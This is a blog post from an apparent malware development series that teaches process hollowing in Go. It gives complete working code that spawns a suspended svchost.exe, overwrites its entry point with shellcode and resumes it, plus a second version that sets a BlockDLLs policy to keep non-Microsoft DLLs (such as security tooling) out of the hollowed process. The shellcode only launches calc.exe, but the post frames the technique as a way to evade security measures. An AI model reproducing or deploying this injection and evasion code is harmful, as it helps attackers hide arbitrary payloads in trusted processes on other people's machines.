Post

Malware Development 16 - Process Hollowing (Golang)

pic

Introduction

Hi there!

After almost one year since last post, today we will be discussing a well-known technique used by Red Teamers and malware developers to make shellcode injection a little bit more OPSEC, this technique is called Process Hollowing. And, in a few words, it is used to replace the executable section of a legitimate process with malicious code, generally a PE.

Explanation

During red team operations, it is better to perform as much operations as possible in memory, without touching the disk. To achieve so, we have to take action in order to make sure that we are not discovered. This is where Process Hollowing comes into play as it allows us to execute shellcode or a PE (Portable Executable) without spawning a suspicious process which performs weird system calls. This is one the main reasons why this technique has been used by a bunch of APTs and famous tools.

Generally, Process Hollowing is mostly used to run a PE under other process. Even though, today we will see how to do it directly with shellcode as it is way much easier. Indeed, we will be using a calc.exe shellcode for testing purposes and we will also see that the calc.exe process is launched as a child of the process we select.

In this case our shellcode is var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc}

First of all, we have to create the process in which we will inject later the shellcode. For instance, a good process to choose is svchost.exe or explorer.exe as there usually are multiple processes running in the system.

Then we use ZwQueryInformationProcess to get info about the process we have created and also to parse the PROCESS_BASIC_INFORMATION struct and find the PebBaseAddress. Finally we end up computing the EntryPoint address, where we will write our shellcode

Code

As always, we will doing this in Golang. We can start by loading the DLLs and defining variables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
func ProcessHollowing(shellcode []byte, cmd string) error {
  // load DLLs
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  ntdll := windows.NewLazyDLL("ntdll.dll")

  // define calls
  CreateProcessA := kernel32.NewProc("CreateProcessA")
  ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  ResumeThread := kernel32.NewProc("ResumeThread")
  ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")

  // define parameters
  var pbi PROCESS_BASIC_INFORMATION
  si:= &windows.StartupInfo{}
  pi := &windows.ProcessInformation{}
  cmd := append([]byte(proc), byte(0))

/*

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

*/

  CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 0, 0x4, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))

  ...
}

To continue with the hollowing, we need to know the ImageBaseAddress and to do so we will use ZwQueryInformationProcess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func ProcessHollowing(shellcode []byte, cmd string) error {
  ...

  var returnLength int32
  pointerSize := unsafe.Sizeof(uintptr(0))

/*

NTSTATUS WINAPI ZwQueryInformationProcess(
  _In_      HANDLE           ProcessHandle,
  _In_      PROCESSINFOCLASS ProcessInformationClass,
  _Out_     PVOID            ProcessInformation,
  _In_      ULONG            ProcessInformationLength,
  _Out_opt_ PULONG           ReturnLength
);

*/

  ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))

  imageBaseAddress := pbi.PebBaseAddress + 0x10

  ...
}

Then, we call ReadProcessMemory to read the memory in order to parse the PROCESS_BASIC_INFORMATION struct and find the ImageBaseValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func ProcessHollowing(shellcode []byte, cmd string) {
  ...

  addressBuffer := make([]byte, pointerSize)
  var read uintptr

/*

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

*/

  ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))

  imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)

  ...
}

After this, we call ReadProcessMemory again to finally find the entrypoint address, where we will write our shellcode in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func ProcessHollowing(shellcode []byte, cmd string) {
  ...

  addressBuffer = make([]byte, 0x200)

/*

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

*/

  r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
  if r1 == 0 {
    return err
  }

  lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
  lfanew := binary.LittleEndian.Uint32(lfaNewPos)
  entrypointOffset := lfanew + 0x28
  entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
  entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
  entrypointAddress := imageBaseValue + uint64(entrypointRVA)

  ...
}

And finally, we write our shellcode into the entrypoint so that it gets executed under the process we have created (e.g. explorer.exe or svchost.exe)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func ProcessHollowing(shellcode []byte, cmd string) error {
  ...

/*

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

*/

  r2, _, err := WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
  if r2 == 0 {
    return err
  }

/*

DWORD ResumeThread(
  [in] HANDLE hThread
);

*/

  ResumeThread.Call(uintptr(pi.Thread))

  return nil
}

At this point the main function is ready to be used. We just have to define the remaining part of the file like the imports and structs. Taking that into account, this is the final code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main

import (
  "log"
  "unsafe"
  "encoding/binary"
  "golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	reserved1                    uintptr    // PVOID
	PebBaseAddress               uintptr    // PPEB
	reserved2                    [2]uintptr // PVOID
	UniqueProcessId              uintptr    // ULONG_PTR
	InheritedFromUniqueProcessID uintptr    // PVOID
}

func ProcessHollowing(shellcode []byte, proc string) error {
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  ntdll := windows.NewLazyDLL("ntdll.dll")

  CreateProcessA := kernel32.NewProc("CreateProcessA")
  ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  ResumeThread := kernel32.NewProc("ResumeThread")
  ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")

  var pbi PROCESS_BASIC_INFORMATION
  si:= &windows.StartupInfo{}
  pi := &windows.ProcessInformation{}
  cmd := append([]byte(proc), byte(0))

  CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 0, 0x4, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))

  var returnLength int32
  pointerSize := unsafe.Sizeof(uintptr(0))

  ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))

  imageBaseAddress := pbi.PebBaseAddress + 0x10

  addressBuffer := make([]byte, pointerSize)
  var read uintptr
  ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))

  imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)

  addressBuffer = make([]byte, 0x200)
  r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
  if r1 == 0 {
    return err
  }

  lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
  lfanew := binary.LittleEndian.Uint32(lfaNewPos)
  entrypointOffset := lfanew + 0x28
  entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
  entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
  entrypointAddress := imageBaseValue + uint64(entrypointRVA)

  r2, _, err := WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
  if r2 == 0 {
    return err
  }

  ResumeThread.Call(uintptr(pi.Thread))

  return nil
}

func main(){
  var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc}

  err := ProcessHollowing(shellcode, "C:\\Windows\\System32\\svchost.exe")
  if err != nil {
    log.Fatal(err)
  }
}

Demo

The code is working so let’s compile and transfer it to our testing Windows machine.

1
$ GOARCH=amd64 GOOS=windows go build main.go

pic

Let’s move the binary into a Windows machine and see what it does.

pic

In order to view processes information and a lot of details about them, I strongly recommend using System Informer (also called ProcessHacker in the past). It will allow us to verify if the process has been spawned under svchost.exe.

pic

As you can see in the picture, it works as expected.

Process Hollowing + BlockDLLs

To make this technique even more OPSEC and powerful we can also protect our process from non-Microsoft signed DLLs like CobaltStrike does with the blockdlls feature

I won’t dig deep on how this technique works as I already wrote a post about this some time ago so take a look at it here if you want to. Basically, we have to leverage certain system calls before creating the process by specifying some special flags.

The main code will be like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package main

import (
  "fmt"
  "log"
  "unsafe"
  "encoding/binary"
  "golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

type StartupInfoEx struct {
	windows.StartupInfo
	AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}

type ProcessInformation struct {
	Process   Handle
	Thread    Handle
	ProcessId uint32
	ThreadId  uint32
}

type Handle uintptr

type PROC_THREAD_ATTRIBUTE_LIST struct {
	dwFlags  uint32
	size     uint64
	count    uint64
	reserved uint64
	unknown  *uint64
	entries  []*PROC_THREAD_ATTRIBUTE_ENTRY
}

type PROC_THREAD_ATTRIBUTE_ENTRY struct {
	attribute *uint32
	cbSize    uintptr
	lpValue   uintptr
}

type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
	Flags uint32
}

func main(){
  var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}

  kernel32 := windows.NewLazyDLL("kernel32.dll")
  ntdll := windows.NewLazyDLL("ntdll.dll")

  GetProcessHeap := kernel32.NewProc("GetProcessHeap")
  HeapAlloc := kernel32.NewProc("HeapAlloc")
  HeapFree := kernel32.NewProc("HeapFree")
  InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
  UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
  CreateProcessA := kernel32.NewProc("CreateProcessA")
  ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  ResumeThread := kernel32.NewProc("ResumeThread")
  ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")

  var pbi PROCESS_BASIC_INFORMATION

  procThreadAttributeSize := uintptr(0)
  InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))

  fmt.Println("GetProcessHeap")
  procHeap, _, err := GetProcessHeap.Call()
  if procHeap == 0 {
    log.Fatal(err)
  }

  fmt.Println("HeapAlloc")
  attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
  if attributeList == 0 {
    log.Fatal(err)
  }
  defer HeapFree.Call(procHeap, 0, attributeList)

  var si StartupInfoEx
  si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))

  fmt.Println("InitializeProcThreadAttributeList")
  InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))

  mitigate := 0x20007
  nonms := uintptr(0x100000000000|0x1000000000)

  fmt.Println("UpdateProcThreadAttribute")
  r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
  if r == 0 {
    log.Fatal(err)
  }

  cmd := append([]byte("C:\\Windows\\System32\\svchost.exe"), byte(0))

  var pi ProcessInformation
  si.Cb = uint32(unsafe.Sizeof(si))
  flags := windows.EXTENDED_STARTUPINFO_PRESENT

  fmt.Println("CreateProcessA")
  r, _, err = CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, uintptr(uint32(flags)), 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
  if r == 0 {
    log.Fatal(err)
  }

  var returnLength int32
  pointerSize := unsafe.Sizeof(uintptr(0))

  fmt.Println("ZwQueryInformationProcess")
  ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))

  imageBaseAddress := pbi.PebAddress + 0x10
  addressBuffer := make([]byte, pointerSize)

  var read uintptr
  fmt.Println("ReadProcessMemory")
  ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))

  imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
  addressBuffer = make([]byte, 0x200)

  fmt.Println("ReadProcessMemory")
  ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))

  lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
  lfanew := binary.LittleEndian.Uint32(lfaNewPos)
  entrypointOffset := lfanew + 0x28
  entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
  entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
  entrypointAddress := imageBaseValue + uint64(entrypointRVA)

  fmt.Println("WriteProcessMemory")
  WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)

  fmt.Println("ResumeThread")
  ResumeThread.Call(uintptr(pi.Thread))
}

Now let’s compile our new code:

1
$ GOARCH=amd64 GOOS=windows go build blockdlls.go

pic

Exactly as in the other program, a calc.exe window spawns.

pic

And if we look at our process…

pic

It has spawned under svchost.exe and also has the BlockDLLs policy enabled.

pic

References

1
2
3
4
https://github.com/m0n0ph1/Process-Hollowing
https://cysinfo.com/detecting-deceptive-hollowing-techniques/
https://github.com/nicholasvg/RunPE-Process-Hollowing-GO
https://red-team-sncf.github.io/complete-process-hollowing.html

Conclusion

I hope this post has been useful to you and you have learned one of the most used techniques to evade security measures.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.